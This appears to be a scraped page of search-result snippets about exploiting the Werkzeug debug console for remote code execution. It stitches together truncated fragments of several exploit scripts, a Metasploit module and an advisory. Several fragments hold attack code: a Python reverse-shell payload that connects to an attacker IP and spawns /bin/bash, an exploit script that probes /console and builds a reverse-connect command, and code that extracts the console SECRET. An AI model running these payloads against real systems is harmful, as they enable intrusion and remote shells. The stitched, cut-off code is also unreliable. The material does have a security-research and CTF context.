Python script for exploiting Werkzeug Debug RCE useful for CTFs where you just need to read a particular file or execute some command.

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

payload = '''import os,pty,socket;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('%s',%s));os.dup2(s.fileno(),0);'''\ · '''os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash");s.close();'''%(attackerIP,port)

In this case, we are taking the exploit script a step further and we are relying on subprocess to reuse the HTTP request made through by using curl. Doing this, helps in dynamically getting the victim server information remotely and without relying on python's urllib to make these HTTP requests. Once you find out Werkzeug Console is pin-protected, you need to find a way to get this pin and access the debug console, right?

print(success_message('Werkzeug console successfully found!')) · if 'SECRET' not in resp.text: print(error_message('Secret key not found!')) sys.exit(1) secret = re.findall("SECRET = \"([^']{20})", resp.text)[0] print(info_message('Secret Code: {}\n'.format(secret))) ·

Werkzeug has a debug console that requires a pin. It's possible to bypass this with an LFI vulnerability or use it as a local privilege escalation vector. - wdahlenburg/werkzeug-debug-console-bypass

WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode.

# usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 · · if len(sys.argv) != 5: · print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) · sys.exit(-1) · · · response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) · · if "Werkzeug " not in response.text: ·

However, if the HTTP connection ... GitHub - Ruulian/wconsole_extractor: WConsole Extractor is a python library which automatically exploits a Werkzeug development server in debug mode....

This module will exploit the Werkzeug debug console to put down a Python shell. Werkzeug is included with Flask, but not enabled by default. It is also included in other projects, for example the RunServerPlus extension for Django.

We cannot provide a description for this page right now

January 28, 2018 - #!/usr/bin/env python import requests import sys import re import urllib # usage : python exploit.py 192.168.56.101 5000 192.168.56.102 4422 if len(sys.argv) != 5: print "USAGE: python %s <ip> <port> <your ip> <netcat port>" % (sys.argv[0]) sys.exit(-1) response = requests.get('http://%s:%s/console' % (sys.argv[1],sys.argv[2])) if "Werkzeug " not in response.text: print "[-] Debug is not enabled" sys.exit(-1) # since the application or debugger about python using python for reverse connect cmd = '''import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("%s",%

Security vulnerabilities and package health score for pip package Werkzeug 0.16.1

It may be necessary to set this ... before the request is passed to the application. Determines which algorithm the exploit module will use to generate a pin and cookie....

We cannot provide a description for this page right now

August 18, 2015 - Tested against: 0.9.6 on Debian 0.9.6 on Centos 0.10 on Debian }, 'Author' => 'h00die <mike[at]shorebreaksecurity.com>', 'References' => [ ['URL', 'http://werkzeug.pocoo.org/docs/0.10/debug/#enabling-the-debugger'] ], 'License' => MSF_LICENSE, 'Platform' => ['python'], 'Targets' => [[ 'werkzeug 0.10 and older', {}]], 'Arch' => ARCH_PYTHON, 'DefaultTarget' => 0, 'DisclosureDate' => 'Jun 28 2015' )) register_options( [ OptString.new('TARGETURI', [true, 'URI to the console', '/console']) ], self.class ) end def check res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(datastore['TAR

python exploit for werkzeug debug shell command execution - Fare9/PyWerkzeug-Debug-Command-Execution

May 5, 2024 - The debugger in affected versions of Werkzeug can allow an attacker to execute code on a developer's machine under some circumstances.

We cannot provide a description for this page right now